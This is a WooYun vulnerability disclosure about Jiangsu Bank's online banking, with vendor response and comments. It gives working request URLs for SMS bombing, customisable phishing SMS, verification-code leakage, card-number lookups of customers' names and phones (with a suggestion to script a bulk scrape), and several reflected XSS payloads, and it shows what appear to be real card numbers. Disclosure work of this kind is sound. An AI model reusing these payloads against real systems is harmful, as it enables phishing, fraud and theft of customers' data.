当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0123530

漏洞标题:金融小能手之江苏银行(测评漏洞打包)

相关厂商:江苏银行

漏洞作者: 咚咚呛

提交时间:2015-06-30 15:26

修复时间:2015-08-17 08:38

公开时间:2015-08-17 08:38

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-30: 细节已通知厂商并且等待厂商处理中
2015-07-03: 厂商已经确认,细节仅向厂商公开
2015-07-13: 细节向核心白帽子及相关领域专家公开
2015-07-23: 细节向普通白帽子公开
2015-08-02: 细节向实习白帽子公开
2015-08-17: 细节向公众公开

简要描述:

越权查询、自定义钓鱼短信、文件上传等等。
出差忙了将近3周了快,一周腾不出空来写报告,现在终于有时间了。
一直在建议乌云提供个上传word或者提交附件的功能,直接把报告给提交了,会生了好多工夫。

详细说明:

一共11处风险,高中低依次排序。如下:
1、(1)任意手机好无线发送短信(短信炸弹)
功能点:个人贷款 > 我要借款 > 税e融
链接:https://ebank.jsbchina.cn/newperbank/sendMobilePwdForApply.do?EMP_SID=CVGVDKHGDXJGJDDFIECWJREBHLEUIZFWGTEEIHBS
参数:mobileNo
修改参数mobileNo为手机号可以无限制发送短信,比如我修改为我自己的手机号,如图:

1.jpg


2.jpg


另:换成其他号码也可正常发送,且没有数量限制。
2、(2)任意手机好无线发送短信(这地方有俩风险)
功能点:签约中心 > 手机银行
链接:https://ebank.jsbchina.cn/newperbank/sendMbInfoModifyPass.do?EMP_SID=CVGVDKHGDXJGJDDFIECWJREBHLEUIZFWGTEEIHBS
参数:mobileNo
修改参数mobileNo为手机号可以无限制发送短信,比如我修改为任意手机号,如图:

3.jpg


1)此处可以任意指定手机号无限发送手机短信,没有间隔。

4.jpg


2)可以从数据包返回值得到验证码,绕过手机验证。搞不懂为啥子要把短信给response。
如图:

5.jpg


3、(3)任意手机好无线发送短信(这地方有俩风险)
功能点:签约中心 > 动账短信通知
链接:https://ebank.jsbchina.cn/newperbank/sendAccountNotifyPassword.do?EMP_SID=EOFWIPDTILCIJLHGHAJCIGBIDZIIJJEEEBCQFCBW
参数:mobileNo
修改参数mobileNo为手机号可以无限制发送短信,其可以得到发送的短信内容即验证码,且可以批量发送。如图:

6.jpg


7.jpg


4、看我玩转钓鱼(短息任意设置)
功能:客户服务 > 安全设置 > 私密信息修改
链接:
https://ebank.jsbchina.cn/newperbank/sendMobilePassword.do?EMP_SID=FMIOEEBNCRFKISGVFUCPCFCYAZDXDCBOELBYCKDA
测试发现,添加参数名称,可以自定义短信,比如msgType表示类型,比如msgType设置为1时,特别适合钓鱼短信,比如参数设置:
msgType=1&payAccount=22222&recAccount=0246&recAccountName=6228760005****40246&payAmount=10000%E5%85%83%E5%A6%82%E6%9C%89%E9%97%AE%E9%A2%98%E8%AF%B7%E8%AE%BF%E9%97%AE http://www.diaoyu.com%20&totalNum=1

8.jpg


9.jpg


当然这里也可以当成短信炸弹一直发。
以上4处风险都为短信类型风险,地址不一样,参数大体相同。
5、文件上传
说明:这个也算是个风险,但是确实没成功。简单说就是文件过滤不严格,我饶了半个点,没绕过去,但感觉确实是个问题,细节看下面。
功能点:客户服务 > 网银设置 > 个人资料修改

10.png


链接:https://ebank.jsbchina.cn/newperbank/userIconUpload.do
数据包如图:

11.png


经过多次测试发现,文件地址跟账户有关,我这里上传的固定文件地址为:
https://ebank.jsbchina.cn/newperbank/images/selfIcon/1002231589.jpg
就是说我传啥,只要成功,名字就是1002231589,如图:我上传文件名1.jpgtxt

12.png


然后正常传上去了正常访问,链接:
https://ebank.jsbchina.cn/newperbank/images/selfIcon/1002231589.jpgtxt

13.png


经过我鼓捣半个点,它的判断流程好像是,搜索最后一个“.”然后判断“.”后面的3位字符,是否是图片后缀,如果是则提取.jpg后的所有字符作为后缀,比如1.txt.jpga,它提取后缀为.jpga,功力不够绕不过去了,不过风险肯定存在了,没准谁就给绕过去了。
6、根据银行卡号查询敏感信息(1)
功能点:转账汇款>大额转账维护
连接:https://ebank.jsbchina.cn/newperbank/002028_cstinfoQuery.do
参数:recAccount=6228760205000897070 此处为银行卡号
可以通过银行卡号查询姓名电话等敏感信息,如图:

14.png


大量跑下数据,比如跑1000条数据,如图:

15.png


16.png


17.png


然后可以写个脚本脱卡号、姓名、电话信息库了。
7、根据银行卡号查询敏感信息(2)
功能点:转账汇款>定向转账维护
连接:https://ebank.jsbchina.cn/newperbank/002027_QueryCustInfo.do
参数:recAccount=6228760205000897070 此处为银行卡号
跟上个,达到效果一样,但是地址和链接不同,可以通过银行卡号查询姓名电话等敏感信息,如图:

18.png


8、xss跨站脚本(篡改js流程)
功能点:账户管理 > 跨行账户管理 > 申请他行账户查询
链接:
https://ebank.jsbchina.cn/newperbank/110102_1_confirm.do?EMP_SID=BIJBBQHRGLIGISBKDEJTEZHZJCGSHMDDDODCGAJO&qdfs=0&fqjg=11111";alert(1);//&jsjg=22222222222&bcxhh=102100099996&bcxrzh=&bcxrmc=&bcxrzhlx=&cxhh=313301099999&cxhm=%E6%B1%9F%E8%8B%8F%E9%93%B6%E8%A1%8C%E8%82%A1%E4%BB%BD%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8&cxrzh=6228762005000141380&cxrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&xdfkzhlx=TL01&sxf=&dsfkhh=1240748232&fy=11111&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=02
对参数fqjg、jsjg等赋予";alert(1);//可以直接修改页面js流程,进而执行js脚本。如图:

1.jpg


2.jpg


再或者执行js跳转到钓鱼网站:
https://ebank.jsbchina.cn/newperbank/110102_1_confirm.do?EMP_SID=BIJBBQHRGLIGISBKDEJTEZHZJCGSHMDDDODCGAJO&qdfs=0&fqjg=11111";window.location.href="http://www.baidu.com";//&jsjg=22222222222&bcxhh=102100099996&bcxrzh=&bcxrmc=&bcxrzhlx=&cxhh=313301099999&cxhm=%E6%B1%9F%E8%8B%8F%E9%93%B6%E8%A1%8C%E8%82%A1%E4%BB%BD%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8&cxrzh=6228762005000141380&cxrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&xdfkzhlx=TL01&sxf=&dsfkhh=1240748232&fy=11111&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=02
9、xss跨站脚本(篡改js流程)
功能点:账户管理 > 跨行账户管理 > 申请他行账户查询
链接:
https://ebank.jsbchina.cn/newperbank/110102_3_confirm.do?EMP_SID=DAAFBDHSDAAGCBGXEQEVGJFVEFAOIPHPHHEXCYIY&qdfs=0&fqjg=313301099999&jsjg=102100099996&dsfkhh=111111111111";alert(1);//&fkrkhhh=102100099996&fkrzh=0&fkrmc=0&fkrzhlx=0&khh=1240748232&skrzh=6228762005000141380&skrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&skrkhhh=313301099999&ywzl=00100&khfwh=1240748232&dbjesx=&rljbssx=&rljjesx=&yljbssx=&yljjesx=&sxrq=&gqrq=&fkrlxdh=&xdzhlx=TL01&sxf=&fy=test&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=02
对参数fqjg、jsjg等赋予";alert(1);//可以直接修改页面js流程,进而执行js脚本。如图:

3.jpg


10、xss跨站脚本(绕过安全防护)
功能:账户管理 > 跨行账户管理 > 授权本行账户查询
说明:此处跟上两出不太一样,上两处所说在系统上经常出现,但是属于那种修改js流程的缺陷,但此处就是过滤严重不足了。跟框架整体过滤有关。其实测到上面的功能也能发现这个,起初以为过滤了,就没多绕,我的固定思维“我只找程序员忽略的店”,不过后来还是手贱测了测,发现只顾虑了><,瞬间脑子俩次“成了”。

4.jpg


5.jpg


测试发现之过滤了><,如图:

6.jpg


真的就是1秒绕过,我会骗你?改成GET如下:
https://ebank.jsbchina.cn/newperbank/110102_2_redPact.do?EMP_SID=AMEQGNAPDXATAUEUFEEODRABDMCEDMEYBKGBHDAN&qdfs=1&fqjg=313301099999&jsjg=102100099996&bcxhh=313301099999&bcxrzh=6228762005000141380&bcxrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&bcxrzhlx=1&cxhh=102100099996&cxhm=%E4%B8%AD%E5%9B%BD%E5%B7%A5%E5%95%86%E9%93%B6%E8%A1%8C&cxrzh=6228760005000040246&cxrmc=testa"%20style="width:expression(alert(1));%20"&xdfkzhlx=&sxf=&dsfkhh=1240748232&fy=bbbbbb&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=02
注意参数:cxrmc=testa"%20style="width:expression(alert(1));%20"

7.jpg


11、xss跨站脚本(绕过安全防护)
功能点:账户管理 > 跨行账户管理 > 授权本行账户支付
连接:
https://ebank.jsbchina.cn/newperbank/110102_4_redPact.do?EMP_SID=AMEQGNAPDXATAUEUFEEODRABDMCEDMEYBKGBHDAN&qdfs=1&fqjg=313301099999&jsjg=102100099996&dsfkhh=6228760005000040246&fkrkhhh=313301099999&fkrzh=6228762005000141380&fkrmc=%E5%B7%A9%E5%86%AC%E5%86%AC&fkrzhlx=1&khh=1240748232&skrzh=6228760005000040246&skrmc=testaa"%20style="width:expression(alert(1));%20"&skrkhhh=102100099996&ywzl=00100&khfwh=6228760005000040246&dbjesx=123.00&rljbssx=123&rljjesx=123.00&yljbssx=123&yljjesx=123.00&sxrq=20150628&gqrq=20150630&fkrlxdh=88888888&xdzhlx=&sxf=&fy=bbbbb&sxfkfzh=6228762005000141380&sxfkfmc=%E5%B7%A9%E5%86%AC%E5%86%AC&sxfkfzhlx=02&cxhm=%E4%B8%AD%E5%9B%BD%E5%B7%A5%E5%95%86%E9%93%B6%E8%A1%8C

8.jpg

漏洞证明:

上面很详细了。
还是总结下撒:江苏银行整体安全欠佳,多处表现在短信发送、越权查询、XSS跨站等。系统其实本身的越权防护机制还是听完善的,不过可能疏忽还是业务需要,造成了用户信息泄露。针对XSS防护则存在有明显的缺陷,比如只过滤了><,对双引号、单引号等都为防护,导致基本通杀,上面漏洞提到的4出风险只是我简单写的,只起到提醒作用,系统中存在大量xss,请注意。
我以上只是简单测试了一下,由于是测试卡很多数据都不存在,对测试会造成很大影响。所以希望行方谨慎对待。

修复方案:

其实这些漏洞你们应该经常修复才对。
原理搞清了,程序员还是很给力的,要相信自己的工程师。

版权声明:转载请注明来源 咚咚呛@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-07-03 08:36

厂商回复:

感谢对江苏银行信息安全的关注。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-06-29 21:24 | hh2014 ( 普通白帽子 | Rank:225 漏洞数:39 | 继续)

    这么晚了还有人在审核哦

  2. 2015-06-29 21:30 | 牛 小 帅 ( 普通白帽子 | Rank:363 漏洞数:84 | [code]心若没有栖息的地方,走到哪里都是在...)

    提交报告 看起来费事

  3. 2015-06-29 22:48 | qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)

    。。。确定能提到乌云上?

  4. 2015-06-29 23:10 | 咚咚呛 ( 普通白帽子 | Rank:116 漏洞数:10 | 我是一只小毛驴咿呀咿呀呦~~)

    @qhwlpg 啥子?

  5. 2015-06-30 17:07 | prolog ( 普通白帽子 | Rank:544 漏洞数:107 | 低调求发展)

    @咚咚呛 不会被查水表么

  6. 2015-06-30 19:36 | 咚咚呛 ( 普通白帽子 | Rank:116 漏洞数:10 | 我是一只小毛驴咿呀咿呀呦~~)

    @prolog 国内的都玩遍了,等搞到国外的账户,就开始异界之旅了

  7. 2015-07-03 12:01 | 咚咚呛 ( 普通白帽子 | Rank:116 漏洞数:10 | 我是一只小毛驴咿呀咿呀呦~~)

    11处风险,没有低危,绝大多数高危,你给10分?不知道是厂商不负责任还压根就不懂,还是真的是我错了,不该这样提风险集合。现在不是分的问题了,就凭你这态度,我是不是真的要把漏洞拆了一个个发送给你。

  8. 2015-07-03 12:03 | 咚咚呛 ( 普通白帽子 | Rank:116 漏洞数:10 | 我是一只小毛驴咿呀咿呀呦~~)

    @xsser @疯狗 是我太天真了?

  9. 2015-08-11 17:21 | fuzz-ing ( 普通白帽子 | Rank:104 漏洞数:21 | 闭关半年)

    @咚咚呛 是你太认真了

  10. 2015-08-17 09:28 | zsmj ( 实习白帽子 | Rank:40 漏洞数:5 | 不问留言,不言寂寞!)

    入戏太深

  11. 2015-08-17 10:51 | mantis ( 路人 | Rank:21 漏洞数:5 | 一萧一剑走江湖,千古情愁尿一壶)

    入戏太深,说吧,你想要什么礼物

  12. 2015-08-17 15:07 | Burn Egg ( 实习白帽子 | Rank:51 漏洞数:8 | 经验,范围,字典,思维)

    不知道没有低危是怎么出来的,xss需要考虑利用场景,通用性等,报告有些夸大,比如短信,同一个参数不同位置这个能算很多个洞?而这个如果算高危的话,那getshell算什么。。xss里style属性只有低版本ie才行吧,而且只看报告里的场景,有点怀疑是否有self-xss。上传的地方并没有绕过,只是猜测也算高危?并没有否认白帽认真程度,但是成果及危害并没有描述的那么大。

  13. 2015-08-28 09:15 | kv2 ( 路人 | Rank:4 漏洞数:3 | 技术的精纯以及无私的奉献是我们至高无上的...)

    @Burn Egg 光可以拖卡号手机姓名库一条就可以是高危了吧